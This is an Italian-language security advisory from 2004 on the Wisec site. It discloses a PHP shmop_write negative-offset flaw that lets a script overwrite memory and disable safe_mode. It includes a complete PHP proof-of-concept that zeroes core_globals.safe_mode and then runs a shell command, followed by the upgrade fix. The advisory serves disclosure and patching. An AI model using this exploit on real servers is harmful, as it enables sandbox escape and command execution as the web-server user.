The WIse SECurity
| .italian .english |
News
|
Vulnerabilità PHP Bypass del Safe_mode sfruttando shmop - Proof of Concept
Titolo:Bypass del Safe_mode sfruttando shmopAutore:Stefano Di PaolaDate:December, 19 2004Vulnerabili:Modulo shmop dal pacchetto PHP <= 5.0.2Tipo di Vulnerabilità:Validazione dell'input - Scrittura in locazioni arbitrarie di memoriaRisorse:Pubblicato su BugtraqSommarioIl modulo shmop, che viene rilasciato con la distribuzione standard di PHP,ha una vulnerabilità nella funzione 'shmop_write' durante il controllo dei limiti della variabile 'offset'. Tale vulnerabilità può permettere di bypassare il safe_mode o di eseguire codice arbitrario con i permessi dell'utente sotto il quale apache (o php) gira. DescrizioneLa funzione PHP_FUNCTION(shmop_write) nel modulo shmop.cnon verifica se la variabile 'offset' è negativa, risultando così possibile sovrascrivere locazioni arbitrarie di memoria: memcpy(shmop->addr + offset, data, writesize);Tutto ciò può essere utilizzato per disabilitare il safe_mode. Segue il codice da utilizzare per verificare questa vulnerabilità. Probabilmente, per funzionare, ci sarà bisogno di un po' di debugging con gdb, bisogna infatti trovare l'indirizzo in memoria di core_globals.safe_mode e un po' di calcoli per trovare la giusta distanza da assegnare alla variabile php '$offset' Naturalmente shmop.so dovrà essere caricata in PHP come modulo o embedded nel binario del php. <? /* Php Safe_mode Bypass Proof of concept. Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it Disclaimer: The author is not responsible of any damage this script can cause */ $shm_id = shmop_open(0xff2, "c", 0644, 100); if (!$shm_id) { echo "Couldn't create shared memory segment\n"; die; } // $data="\x01"; // the new value for safe_mode $data="\x00"; // this (-3842685) is my offset to reach core_globals.safe_mode // taken with gdb. (0x40688d83) $offset=-3842685; // Lets write the new value at our offset. $shm_bytes_written = shmop_write($shm_id, $data, $offset ); if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\n"; } //Now lets delete the block and close the shared memory segment if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; } shmop_close($shm_id); // Let's try if safe mode has been set to off echo passthru("id"); dl("shmop.so"); ?> Soluzione:Aggiornare a php to 5.0.3 or 4.3.10 o disabilitare il modulo shmop.Firenze, Domenica 19 Dicembre 2004 Wisec is brought to you by...Wisec is written and mantained by Stefano Di Paola. Wisec uses open standards, including XHTML, CSS2, and XML-RPC. |
All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.